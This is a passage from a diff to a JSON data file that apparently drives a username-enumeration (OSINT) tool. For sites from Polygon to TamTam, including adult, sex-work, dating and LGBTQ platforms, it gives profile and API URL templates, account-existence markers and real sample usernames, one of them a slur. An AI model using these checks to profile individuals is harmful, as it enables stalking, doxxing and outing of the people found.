404, + "known": [ + "josh", + "jsmith" + ], + "cat": "tech" + }, + { + "name": "polygon", + "uri_check": "https://www.polygon.com/users/{account}", + "e_code": 200, + "e_string": "- Polygon", + "m_string": "404 Not found", + "m_code": 404, + "known": [ + "nicodeyo", + "Nicole_Clark" + ], + "cat": "gaming" + }, + { + "name": "popl", + "uri_check": "https://poplme.co/{account}", + "e_code": 200, + "e_string": "MuiTypography-root MuiTypography-body1 css-kj7pvm", + "m_string": "Profile not found", + "m_code": 200, + "known": [ + "rpelite", + "Ee0af3d822", + "ashleymetzger" + ], + "cat": "business" + }, + { + "name": "Pornhub Porn Stars", + "uri_check": "https://www.pornhub.com/pornstar/{account}", + "e_code": 200, + "e_string": "Pornstar Rank", + "m_string": "", + "m_code": 301, + "known": [ + "riley-reid", + "alex-adams" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Pornhub Users", + "uri_check": "https://www.pornhub.com/users/{account}", + "e_code": 200, + "e_string": "s Profile - Pornhub.com", + "m_string": "Error Page Not Found", + "m_code": 404, + "known": [ + "test123" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Poshmark", + "uri_check": "https://poshmark.com/closet/{account}", + "e_code": 200, + "e_string": " is using Poshmark to sell items from their closet.", + "m_string": "Page not found - Poshmark", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "shopping" + }, + { + "name": "postcrossing", + "uri_check": "https://www.postcrossing.com/user/{account}", + "e_code": 200, + "e_string": ", from", + "m_string": "- Postcrossing", + "m_code": 404, + "known": [ + "Vladimir", + "olga3" + ], + "cat": "social" + }, + { + "name": "Poweredbygay.social (Mastodon Instance)", + "uri_check": "https://poweredbygay.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://poweredbygay.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "aggiepm", + "eplumley1976" + ], + "cat": "social" + }, + { + "name": "Pr0gramm", + "uri_check": "https://pr0gramm.com/api/profile/info?name={account}", + "uri_pretty": "https://pr0gramm.com/user/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "\"code\":404", + "m_code": 404, + "known": [ + "kaizernero", + "Giga1337" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Pravda.me", + "uri_check": "https://pravda.me/@{account}", + "e_code": 200, + "e_string": "Российская социальная сеть (by mastodon)", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "tass", + "rt_russian" + ], + "cat": "social" + }, + { + "name": "Privacy Guides", + "uri_check": "https://discuss.privacyguides.net/u/{account}.json", + "uri_pretty": "https://discuss.privacyguides.net/u/{account}/summary", + "e_code": 200, + "e_string": "assign_path", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "jonah", + "dngray" + ], + "cat": "tech" + }, + { + "name": "Producthunt", + "uri_check": "https://www.producthunt.com/@{account}", + "e_code": 200, + "e_string": "s profile on Product Hunt", + "m_string": "Product Hunt - All newest Products", + "m_code": 404, + "known": [ + "alex", + "jack" + ], + "cat": "business" + }, + { + "name": "PromoDJ", + "uri_check": "https://promodj.com/ajax/register.html?lang=en", + "uri_pretty": "https://promodj.com/{account}", + "post_body": "kind=nick&value={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "Address you entered is already taken", + "m_string": "The address is free, it's great;)", + "m_code": 200, + "known": [ + "sekoy", + "vovasmallny" + ], + "cat": "music" + }, + { + "name": "Pronouns.Page", + "uri_check": "https://pronouns.page/api/profile/get/{account}?version=2", + "uri_pretty": "https://pronouns.page/@{account}", + "e_code": 200, + "e_string": "username", + "m_string": "\"profiles\": {}", + "m_code": 304, + "known": [ + "cannabis_cervi", + "user" + ], + "cat": "social" + }, + { + "name": "Pronouny", + "uri_check": "https://pronouny.xyz/api/users/profile/username/{account}", + "uri_pretty": "https://pronouny.xyz/users/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "That user doesn't exist", + "m_code": 400, + "known": [ + "donna", + "honey" + ], + "cat": "social" + }, + { + "name": "Prose", + "uri_check": "https://prose.astral.camp/{account}/", + "e_code": 200, + "e_string": "blog-title", + "m_string": "Are you sure it was ever here?", + "m_code": 404, + "known": [ + "endeavorance", + "overthinkification" + ], + "cat": "blog" + }, + { + "name": "prv.pl", + "uri_check": "https://www.prv.pl/osoba/{account}", + "e_code": 200, + "e_string": "LOGIN", + "m_string": "Użytkownik nie istnieje.", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "tech" + }, + { + "name": "Public.com", + "uri_check": "https://public.com/@{account}", + "e_code": 200, + "e_string": "\"publicId\":", + "m_string": "<title>404 - Page Not Found", + "m_code": 404, + "known": [ + "igor1", + "david2" + ], + "cat": "finance" + }, + { + "name": "pypi", + "uri_check": "https://pypi.org/user/{account}/", + "e_code": 200, + "e_string": "Profile of", + "m_string": "Page Not Found (404) · PyPI", + "m_code": 404, + "known": [ + "dev", + "pydude" + ], + "cat": "coding" + }, + { + "name": "QUEER PL", + "uri_check": "https://queer.pl/user/{account}", + "e_code": 200, + "e_string": "Ostatnio on-line", + "m_string": "Strona nie została znaleziona", + "m_code": 404, + "known": [ + "claudii", + "kowalski" + ], + "cat": "social" + }, + { + "name": "quitter.pl", + "uri_check": "https://quitter.pl/api/v1/accounts/{account}", + "uri_pretty": "https://quitter.pl/users/{account}", + "e_code": 200, + "e_string": "avatar_static", + "m_string": "\"error\":", + "m_code": 404, + "known": [ + "smok", + "mik" + ], + "cat": "social" + }, + { + "name": "Quizlet", + "uri_check": "https://quizlet.com/webapi/3.2/users/check-username?username={account}", + "uri_pretty": "https://quizlet.com/user/{account}/sets", + "e_code": 200, + "e_string": "\"identifier\":\"username_is_taken\"", + "m_string": "\"success\":true", + "m_code": 200, + "known": [ + "Rita426", + "Muyao_531" + ], + "cat": "hobby", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Quora", + "uri_check": "https://www.quora.com/profile/{account}", + "e_code": 200, + "e_string": "Credentials", + "m_string": "Page Not Found", + "m_code": 301, + "known": [ + "John-Galan-5", + "Alex-Clay" + ], + "cat": "social" + }, + { + "name": "Raddle.me", + "uri_check": "https://raddle.me/user/{account}", + "e_code": 200, + "e_string": "sidebar__title", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "zephyr", + "Archaplain" + ], + "cat": "social" + }, + { + "name": "RaidForums - Archive", + "uri_check": "https://rf-archive.com/users.php?s_tag={account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "pompompurin", + "DexterM1" + ], + "cat": "archived" + }, + { + "name": "Rant.li", + "uri_check": "https://rant.li/{account}/", + "e_code": 200, + "e_string": "blog-title", + "m_string": "Are you sure it was ever here?", + "m_code": 404, + "known": [ + "baretri", + "arinbasu" + ], + "cat": "blog" + }, + { + "name": "Rarible", + "uri_check": "https://rarible.com/marketplace/api/v4/urls/{account}", + "uri_pretty": "https://rarible.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"success\":false", + "m_code": 404, + "known": [ + "lokikot", + "vintagemozart" + ], + "cat": "tech" + }, + { + "name": "RblxTrade", + "uri_check": "https://rblx.trade/api/v1/user/get-by-username?username={account}", + "uri_pretty": "https://rblx.trade/p/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"success\":false", + "m_code": 400, + "known": [ + "webbreacher", + "SonOfSevenless" + ], + "cat": "gaming" + }, + { + "name": "redbubble", + "uri_check": "https://www.redbubble.com/people/{account}/shop", + "e_code": 200, + "e_string": "Shop | Redbubble", + "m_string": "This is a lost cause.", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "shopping" + }, + { + "name": "Reddit", + "uri_check": "https://www.reddit.com/user/{account}/about/.json", + "uri_pretty": "https://www.reddit.com/user/{account}", + "e_code": 200, + "e_string": "total_karma", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "koavf", + "alabasterheart" + ], + "cat": "social" + }, + { + "name": "REDGIFS", + "uri_check": "https://api.redgifs.com/v1/users/{account}", + "uri_pretty": "https://www.redgifs.com/users/{account}", + "e_code": 200, + "e_string": "followers", + "m_string": "user account not found for ", + "m_code": 404, + "known": [ + "alexbreecooper", + "Jose-Roberto-Rasi" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Refsheet", + "uri_check": "https://refsheet.net/{account}", + "e_code": 200, + "e_string": "og:title", + "m_string": "That's unfortunate. Where did it go?", + "m_code": 404, + "known": [ + "razzyaurealis", + "saki" + ], + "cat": "hobby" + }, + { + "name": "Replit", + "uri_check": "https://replit.com/@{account}", + "e_code": 200, + "e_string": "\"__typename\":\"User\"", + "m_string": "\"statusCode\":404", + "m_code": 404, + "known": [ + "wuweijie", + "alansmithee" + ], + "cat": "coding" + }, + { + "name": "Researchgate", + "uri_check": "https://www.researchgate.net/profile/{account}", + "e_code": 200, + "e_string": " | ", + "m_string": "20+ million researchers on ResearchGate", + "m_code": 301, + "known": [ + "Tafara-Mwareya", + "Jose-Roberto-Rasi" + ], + "cat": "hobby" + }, + { + "name": "resumes_actorsaccess", + "uri_check": "https://resumes.actorsaccess.com/{account}", + "e_code": 200, + "e_string": "- Resume | Actors Access", + "m_string": "File was not found on this SERVER", + "m_code": 200, + "known": [ + "veronicashelby", + "sarahstipe" + ], + "cat": "social" + }, + { + "name": "Revolut", + "uri_check": "https://revolut.me/api/web-profile/{account}", + "uri_pretty": "https://revolut.me/{account}", + "e_code": 200, + "e_string": "\"firstName\"", + "m_string": "\"User not found\"", + "m_code": 404, + "known": [ + "theaswdc", + "honey" + ], + "cat": "finance" + }, + { + "name": "risk.ru", + "uri_check": "https://risk.ru/people/{account}", + "e_code": 200, + "e_string": "— Люди — Risk.ru", + "m_string": "404 — Risk.ru", + "m_code": 404, + "known": [ + "igor1", + "olga" + ], + "cat": "hobby" + }, + { + "name": "Roblox", + "uri_check": "https://auth.roblox.com/v1/usernames/validate?username={account}&birthday=2019-12-31T23:00:00.000Z", + "uri_pretty": "https://www.roblox.com/search/users?keyword={account}", + "e_code": 200, + "e_string": "Username is already in use", + "m_string": "Username is valid", + "m_code": 200, + "known": [ + "LeetPawn", + "elephant459" + ], + "cat": "gaming" + }, + { + "name": "RoutineHub", + "uri_check": "https://routinehub.co/user/{account}", + "e_code": 200, + "e_string": "Downloads: ", + "m_string": "A community for Apple Shortcuts", + "m_code": 200, + "known": [ + "zachary7829", + "JonathanSetzer" + ], + "cat": "social" + }, + { + "name": "rsi", + "uri_check": "https://robertsspaceindustries.com/citizens/{account}", + "e_code": 200, + "e_string": "CITIZEN DOSSIER", + "m_string": "404 NAVIGATING UNCHARTED TERRITORY", + "m_code": 404, + "known": [ + "alpHackeronee", + "Quantum_Physicist" + ], + "cat": "gaming" + }, + { + "name": "ru_123rf", + "uri_check": "https://ru.123rf.com/profile_{account}", + "e_code": 200, + "e_string": "userID", + "m_string": "Фотобанк 123RF - Стоковые Фото, Векторы, Видеоролики. Подписка на Фото. Royalty Free контент<", + "m_code": 302, + "known": [ + "ruslan", + "olga" + ], + "cat": "hobby" + }, + { + "name": "RubyGems.org", + "uri_check": "https://rubygems.org/profiles/{account}", + "e_code": 200, + "e_string": "class=\"profile__header\"", + "m_string": "alt=\"404 error\"", + "m_code": 404, + "known": [ + "awscloud", + "bsm" + ], + "cat": "coding" + }, + { + "name": "RumbleChannel", + "uri_check": "https://rumble.com/c/{account}", + "e_code": 200, + "e_string": "href=https://rumble.com/c/", + "m_string": "404 error, this page does not exist", + "m_code": 404, + "known": [ + "SaltyCracker", + "GGreenwald" + ], + "cat": "political" + }, + { + "name": "RumbleUser", + "uri_check": "https://rumble.com/user/{account}", + "e_code": 200, + "e_string": "href=https://rumble.com/user/", + "m_string": "404 error, this page does not exist", + "m_code": 404, + "known": [ + "SimonParkes", + "djmrmusic" + ], + "cat": "political" + }, + { + "name": "RuneScape", + "uri_check": "https://apps.runescape.com/runemetrics/profile/profile?user={account}", + "uri_pretty": "https://apps.runescape.com/runemetrics/app/overview/player/{account}", + "e_code": 200, + "e_string": "\"name\":", + "m_string": "\"error\":\"NO_PROFILE\"", + "m_code": 200, + "known": [ + "Thomas", + "Wahisietel" + ], + "cat": "hobby" + }, + { + "name": "RuTracker.org", + "uri_check": "https://rutracker.org/forum/profile.php?mode=viewprofile&u={account}", + "e_code": 200, + "e_string": "Профиль пользователя", + "m_string": "Пользователь не найден", + "m_code": 200, + "known": [ + "Rutracker", + "Feo156" + ], + "cat": "misc" + }, + { + "name": "ruVoIP.net", + "uri_check": "https://ruvoip.net/members/{account}/", + "e_code": 200, + "e_string": "id=\"user-xprofile\"", + "m_string": "Error 404 - Not Found", + "m_code": 200, + "known": [ + "dominique", + "demon" + ], + "cat": "tech" + }, + { + "name": "Salon24", + "uri_check": "https://www.salon24.pl/u/{account}/", + "e_code": 200, + "e_string": "<span>Obserwujących</span>", + "m_string": "<title>Salon24 - Blogi, wiadomości, opinie i komentarze", + "m_code": 301, + "known": [ + "matuzalem", + "niewiarygodne" + ], + "cat": "blog" + }, + { + "name": "Scammer.info", + "uri_check": "https://scammer.info/u/{account}.json", + "uri_pretty": "https://scammer.info/u/{account}", + "e_code": 200, + "e_string": "avatar_template", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "AngelFat", + "lecter" + ], + "cat": "misc" + }, + { + "name": "Scored", + "uri_check": "https://scored.co/api/v2/user/about.json?user={account}", + "uri_pretty": "https://scored.co/u/{account}", + "e_code": 200, + "e_string": "\"status\":true", + "m_string": "\"status\":false", + "m_code": 200, + "known": [ + "LowEnergyFaggot", + "libsaremental" + ], + "cat": "social" + }, + { + "name": "ScoutWiki", + "uri_check": "https://en.scoutwiki.org/User:{account}", + "e_code": 200, + "e_string": "NewPP limit report", + "m_string": "is not registered", + "m_code": 301, + "known": [ + "Mlh_nl", + "Benjism89" + ], + "cat": "social" + }, + { + "name": "Scratch", + "uri_check": "https://api.scratch.mit.edu/accounts/checkusername/{account}/", + "uri_pretty": "https://scratch.mit.edu/users/{account}/", + "e_code": 200, + "e_string": "\"msg\":\"username exists\"", + "m_string": "\"msg\":\"valid username\"", + "m_code": 200, + "known": [ + "griffpatch", + "-Zaire-" + ], + "cat": "coding" + }, + { + "name": "secure_donation", + "uri_check": "https://secure.donationpay.org/{account}/", + "e_code": 200, + "e_string": "| DonationPay", + "m_string": "secure.donationpay.org", + "m_code": 404, + "known": [ + "rareimpact", + "safc" + ], + "cat": "finance" + }, + { + "name": "sedisp@ce", + "uri_check": "https://sedispace.com/@{account}", + "e_code": 200, + "e_string": "Membre depuis -", + "m_string": "- Page non trouvée!", + "m_code": 302, + "known": [ + "mamadou", + "konate" + ], + "cat": "social" + }, + { + "name": "Seneporno", + "uri_check": "https://seneporno.com/user/{account}", + "e_code": 200, + "e_string": "Dernier Login", + "m_string": "Unexpected error! Please contact us and tell us more how you got to this page!", + "m_code": 301, + "known": [ + "Kalsobbc", + "Boymariste" + ], + "cat": "xx NSFW xx" + }, + { + "name": "sentimente", + "uri_check": "https://www.sentimente.com/amp/{account}.html", + "e_code": 200, + "e_string": "Chat online with", + "m_string": "HTTP Error code: 404. Resource not found", + "m_code": 404, + "known": [ + "david01", + "brahim01" + ], + "cat": "dating" + }, + { + "name": "SEOClerks", + "uri_check": "https://www.seoclerks.com/user/{account}", + "e_code": 200, + "e_string": "
    ", + "m_string": "SEO Marketplace", + "m_code": 302, + "known": [ + "Vfmseo", + "gokudadon" + ], + "cat": "social" + }, + { + "name": "setlist.fm", + "uri_check": "https://www.setlist.fm/user/{account}", + "e_code": 200, + "e_string": "s setlist.fm | setlist.fm", + "m_string": "Sorry, the page you requested doesn't exist", + "m_code": 404, + "known": [ + "bendobrin", + "michi" + ], + "cat": "music" + }, + { + "name": "Sexworker", + "uri_check": "https://sexworker.com/api/profile/{account}", + "uri_pretty": "https://sexworker.com/{account}", + "e_code": 200, + "e_string": "profilePictureUrl", + "m_string": "This user does not exist.", + "m_code": 404, + "known": [ + "sakii_nightshade", + "annajean2319" + ], + "cat": "xx NSFW xx" + }, + { + "name": "SFD", + "uri_check": "https://www.sfd.pl/profile/{account}", + "e_code": 200, + "e_string": "Tematy użytkownika", + "m_string": "Brak aktywnego profilu na forum", + "m_code": 404, + "known": [ + "janek", + "admin" + ], + "cat": "health" + }, + { + "name": "Shesfreaky", + "uri_check": "https://www.shesfreaky.com/profile/{account}/", + "e_code": 200, + "e_string": "s Profile - ShesFreaky", + "m_string": "", + "m_code": 302, + "known": [ + "tata23", + "fitzsta" + ], + "cat": "xx NSFW xx" + }, + { + "name": "shopify", + "uri_check": "https://{account}.myshopify.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "home", + "m_string": "Sorry, this shop is currently unavailable.", + "m_code": 404, + "known": [ + "john", + "daniel" + ], + "cat": "shopping" + }, + { + "name": "Showup.tv", + "uri_check": "https://showup.tv/profile/{account}", + "headers": { + "Cookie": "accept_rules=true;" + }, + "e_code": 200, + "e_string": "O mnie", + "m_string": "Darmowe", + "m_code": 404, + "known": [ + "LunaVee", + "Jane_Frou" + ], + "cat": "xx NSFW xx" + }, + { + "name": "shutterstock", + "uri_check": "https://www.shutterstock.com/g/{account}", + "e_code": 200, + "e_string": "| Shutterstock", + "m_string": "Well, this is unexpected...", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "images" + }, + { + "name": "SimplePlanes", + "uri_check": "https://www.simpleplanes.com/u/{account}", + "e_code": 200, + "e_string": "<h5>joined", + "m_string": "<title>SimplePlanes Airplanes", + "m_code": 302, + "known": [ + "realSavageMan", + "Jundroo", + "john" + ], + "cat": "gaming" + }, + { + "name": "skeb", + "uri_check": "https://skeb.jp/@{account}", + "e_code": 200, + "e_string": ") | Skeb", + "m_string": "Skeb - Request Box", + "m_code": 503, + "known": [ + "eipuru_", + "sime064" + ], + "cat": "art" + }, + { + "name": "SlackHoles", + "uri_check": "https://slackholes.com/actor/{account}/", + "e_code": 200, + "e_string": "Pussy and Ass Sizes", + "m_string": "It looks like nothing was found at this location", + "m_code": 404, + "known": [ + "alexbreecooper", + "roxy-raye" + ], + "cat": "xx NSFW xx" + }, + { + "name": "slant", + "uri_check": "https://www.slant.co/users/{account}", + "e_code": 200, + "e_string": "s Profile - Slant", + "m_string": "404 - Page Not Found - Slant", + "m_code": 404, + "known": [ + "bob", + "john" + ], + "cat": "shopping" + }, + { + "name": "slides", + "uri_check": "https://slides.com/{account}", + "e_code": 200, + "e_string": "Presentations by", + "m_string": "You may have mistyped the address", + "m_code": 404, + "known": [ + "arunthomas" + ], + "cat": "social" + }, + { + "name": "Slideshare", + "uri_check": "https://www.slideshare.net/{account}", + "e_code": 200, + "e_string": "data-testid=\"report-button\"", + "m_string": "id=\"username-available\"", + "m_code": 200, + "known": [ + "rebeccaskeeles", + "john" + ], + "cat": "social" + }, + { + "name": "SmashRun", + "uri_check": "https://smashrun.com/{account}/", + "e_code": 200, + "e_string": "Miles run overall", + "m_string": "no Smashrunner with the username", + "m_code": 404, + "known": [ + "john.young" + ], + "cat": "health" + }, + { + "name": "smelsy", + "uri_check": "https://www.smelsy.com/profile/{account}", + "e_code": 200, + "e_string": "Smelsy -", + "m_string": "Server Error", + "m_code": 500, + "known": [ + "mohamed01", + "ahmed" + ], + "cat": "misc" + }, + { + "name": "SmugMug", + "uri_check": "https://{account}.smugmug.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "schema.org/Person", + "m_string": "schema.org/Thing", + "m_code": 404, + "known": [ + "wow", + "jill" + ], + "cat": "images" + }, + { + "name": "smule", + "uri_check": "https://www.smule.com/api/profile/?handle={account}", + "uri_pretty": "https://www.smule.com/{account}", + "e_code": 200, + "e_string": "account_id", + "m_string": "code\": 65", + "m_code": 400, + "known": [ + "cgrrose", + "John___Anish" + ], + "cat": "music" + }, + { + "name": "Snapchat", + "uri_check": "https://www.snapchat.com/@{account}", + "e_code": 200, + "e_string": "is on Snapchat!", + "m_string": "NOT_FOUND", + "m_code": 200, + "known": [ + "djkhaled305", + "mileycyrus" + ], + "cat": "social" + }, + { + "name": "Snipfeed", + "uri_check": "https://snipfeed.co/{account}", + "e_code": 200, + "e_string": "creatorLink", + "m_string": "Oops, you hit a dead end!", + "m_code": 404, + "known": [ + "mycherrycrush", + "honey" + ], + "cat": "misc" + }, + { + "name": "soc.citizen4.eu", + "uri_check": "https://soc.citizen4.eu/profile/{account}/profile", + "e_code": 200, + "e_string": "@soc.citizen4.eu", + "m_string": "Nie znaleziono", + "m_code": 404, + "known": [ + "admin", + "miklo" + ], + "cat": "social" + }, + { + "name": "social.bund.de", + "uri_check": "https://social.bund.de/@{account}", + "e_code": 200, + "e_string": "@social.bund.de) - social.bund.de", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "bfdi", + "bmdv" + ], + "cat": "social" + }, + { + "name": "social_msdn", + "uri_check": "https://social.msdn.microsoft.com/profile/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.", + "m_code": 404, + "known": [ + "edoardo", + "microsoftfan" + ], + "cat": "social" + }, + { + "name": "sofurry", + "uri_check": "https://{account}.sofurry.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "'s Profile | SoFurry", + "m_string": "SoFurry - Error | SoFurry", + "m_code": 404, + "known": [ + "reeden-landshey", + "tigerzero" + ], + "cat": "art" + }, + { + "name": "solo.to", + "uri_check": "https://solo.to/{account}", + "e_code": 200, + "e_string": "create your own page", + "m_string": "The page you're looking for isn't here.", + "m_code": 404, + "known": [ + "saruei", + "yui" + ], + "cat": "social" + }, + { + "name": "SoundCloud", + "uri_check": "https://soundcloud.com/{account}", + "e_code": 200, + "e_string": "SoundCloud", + "m_string": "sounds", + "m_code": 404, + "known": [ + "test123" + ], + "cat": "music" + }, + { + "name": "Soup", + "uri_check": "https://www.soup.io/author/{account}", + "e_code": 200, + "e_string": "Author at Soup.io", + "m_string": "Soup.io - News, Sports, Entertainment, TV, Tech, Gaming", + "m_code": 301, + "known": [ + "john", + "cristina" + ], + "cat": "blog" + }, + { + "name": "Sourceforge", + "uri_check": "https://sourceforge.net/user/username/{account}", + "uri_pretty": "https://sourceforge.net/u/{account}/profile", + "e_code": 400, + "e_string": "\"error\": \"invalid\"", + "m_string": "\"success\": 1", + "m_code": 200, + "known": [ + "alice", + "bob" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Speaker Deck", + "uri_check": "https://speakerdeck.com/{account}/", + "e_code": 200, + "e_string": ") on Speaker Deck", + "m_string": "User Not Found - Speaker Deck", + "m_code": 404, + "known": [ + "petecheslock", + "turbosmart45" + ], + "cat": "social" + }, + { + "name": "speedrun", + "uri_check": "https://www.speedrun.com/user/{account}/", + "e_code": 200, + "e_string": "Runs - ", + "m_string": "speedrun.com", + "m_code": 404, + "known": [ + "mike", + "chris" + ], + "cat": "gaming" + }, + { + "name": "SpiceWorks", + "uri_check": "https://community.spiceworks.com/people/{account}", + "e_code": 200, + "e_string": "Portfolio of IT Projects - Spiceworks", + "m_string": "Page Not Found", + "m_code": 404, + "known": [ + "spicerex", + "rod-it" + ], + "cat": "tech" + }, + { + "name": "SPOJ", + "uri_check": "https://www.spoj.com/users/{account}/", + "e_code": 200, + "e_string": "<h3>Activity over the last year</h3>", + "m_string": "<strong>Innopolis Open 2018</strong>", + "m_code": 200, + "known": [ + "defrager", + "xilinx" + ], + "cat": "coding" + }, + { + "name": "sporcle", + "uri_check": "https://www.sporcle.com/user/{account}/people/", + "e_code": 200, + "e_string": "'s Sporcle Friends", + "m_string": "This Sporcle user cannot be found.", + "m_code": 301, + "known": [ + "Test", + "lolshortee" + ], + "cat": "gaming" + }, + { + "name": "Sports Tracker", + "uri_check": "https://api.sports-tracker.com/apiserver/v1/user/name/{account}", + "uri_pretty": "https://sports-tracker.com/view_profile/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"code\":\"404\"", + "m_code": 200, + "known": [ + "petriola", + "adisonthadat" + ], + "cat": "health" + }, + { + "name": "Spotify", + "uri_check": "https://open.spotify.com/user/{account}", + "e_code": 200, + "e_string": "content=\"profile\"", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "kexp_official", + "mkbhd" + ], + "cat": "music", + "protection": [ + "other" + ] + }, + { + "name": "StackOverflow", + "uri_check": "https://stackoverflow.com/users/filter?search={account}", + "e_code": 200, + "e_string": "grid--item user-info", + "m_string": "No users matched your search.", + "m_code": 200, + "known": [ + "vonc", + "bergi" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "StackShare", + "uri_check": "https://stackshare.io/{account}", + "e_code": 200, + "e_string": "class='user-container'", + "m_string": "Sorry, we couldn't find that page :(", + "m_code": 404, + "known": [ + "gordonpn68492", + "Alan-Liang" + ], + "cat": "tech" + }, + { + "name": "Statuspage", + "uri_check": "https://{account}.statuspage.io/api/v2/status.json", + "uri_pretty": "https://{account}.statuspage.io/", + "e_code": 200, + "e_string": "updated_at", + "m_string": "<html><body>You are being <a href=\"https://www.statuspage.io\">redirected</a>.</body></html>", + "m_code": 302, + "known": [ + "8713981tpdlg", + "gaming", + "coinbase" + ], + "cat": "tech" + }, + { + "name": "Steam", + "uri_check": "https://steamcommunity.com/id/{account}", + "e_code": 200, + "e_string": "g_rgProfileData =", + "m_string": "Steam Community :: Error", + "m_code": 200, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "SteamGifts", + "uri_check": "https://www.steamgifts.com/user/{account}", + "e_code": 200, + "e_string": "\"identifier\":", + "m_string": "", + "m_code": 301, + "known": [ + "AbsurdPoncho", + "Wolod1402" + ], + "cat": "gaming" + }, + { + "name": "Steemit", + "uri_check": "https://signup.steemit.com/api/check_username", + "uri_pretty": "https://steemit.com/@{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"type\":\"error_api_username_used\"", + "m_string": "\"success\":true", + "m_code": 200, + "known": [ + "petlover", + "zalat" + ], + "cat": "social" + }, + { + "name": "steller", + "uri_check": "https://steller.co/{account}", + "e_code": 200, + "e_string": " on Steller", + "m_string": "", + "m_code": 404, + "known": [ + "jeannnn", + "havwoods" + ], + "cat": "shopping" + }, + { + "name": "StoryCorps", + "uri_check": "https://archive.storycorps.org/user/{account}/", + "e_code": 200, + "e_string": "archive author", + "m_string": "We're sorry, but the page", + "m_code": 404, + "known": [ + "jthorstad", + "paul-swider" + ], + "cat": "blog" + }, + { + "name": "Strava", + "uri_check": "https://www.strava.com/athletes/{account}", + "e_code": 301, + "e_string": "/athletes/", + "m_string": "\"page\":\"/404\"", + "m_code": 404, + "known": [ + "jane", + "adam" + ], + "cat": "social" + }, + { + "name": "StreamElements", + "uri_check": "https://api.streamelements.com/kappa/v2/channels/{account}", + "uri_pretty": "https://streamelements.com/{account}", + "e_code": 200, + "e_string": "\"providerId\"", + "m_string": "error", + "m_code": 404, + "known": [ + "honey", + "dude" + ], + "cat": "finance" + }, + { + "name": "StreamLabs", + "uri_check": "https://streamlabs.com/api/v6/user/{account}", + "uri_pretty": "https://streamlabs.com/{account}/tip", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "Unauthorized", + "m_code": 401, + "known": [ + "veibae", + "cutie_cori" + ], + "cat": "finance" + }, + { + "name": "Stripchat", + "uri_check": "https://stripchat.com/api/front/users/checkUsername?username={account}", + "uri_pretty": "https://stripchat.com/{account}", + "e_code": 400, + "e_string": "\"error\":\"This username already exists\"", + "m_string": "[]", + "m_code": 200, + "known": [ + "DulcieRichard", + "Katie-Mili" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Subscribestar", + "uri_check": "https://subscribestar.adult/{account}", + "e_code": 200, + "e_string": "CREATOR STATS", + "m_string": "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "m_code": 404, + "known": [ + "missmoonified", + "honey" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Substack", + "uri_check": "https://substack.com/@{account}", + "e_code": 200, + "e_string": "| Substack", + "m_string": "" on Substack", + "m_code": 200, + "known": [ + "janellehardacre", + "janeclairebradley" + ], + "cat": "social" + }, + { + "name": "sukebei.nyaa.si", + "uri_check": "https://sukebei.nyaa.si/user/{account}", + "e_code": 200, + "e_string": "'s torrents", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "kouhy76", + "Rektr0" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Suzuri", + "uri_check": "https://suzuri.jp/{account}", + "e_code": 200, + "e_string": "Items", + "m_string": "Push Space-key", + "m_code": 404, + "known": [ + "itochanxxx", + "alex" + ], + "cat": "business" + }, + { + "name": "szmer.info", + "uri_check": "https://szmer.info/u/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "Code: Couldn't find that username or email.", + "m_code": 200, + "known": [ + "przeczzpreczem", + "Xavier" + ], + "cat": "social" + }, + { + "name": "tabletoptournament", + "uri_check": "https://www.tabletoptournaments.net/eu/player/{account}", + "e_code": 200, + "e_string": "- Player Profile | T³ - TableTop Tournaments", + "m_string": "No player with the nickname", + "m_code": 200, + "known": [ + "Lars01", + "john" + ], + "cat": "misc" + }, + { + "name": "Tagged", + "uri_check": "https://secure.tagged.com/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Tagged - The social network for meeting new people", + "m_code": 302, + "known": [ + "Samantha", + "Robert" + ], + "cat": "social" + }, + { + "name": "TamTam", + "uri_check": "https://tamtam.chat/{account}", + "e_code": 200, + "e_string": "deeplink=tamtam://chat/", + "m_string": "ТамТам", + "m_code": 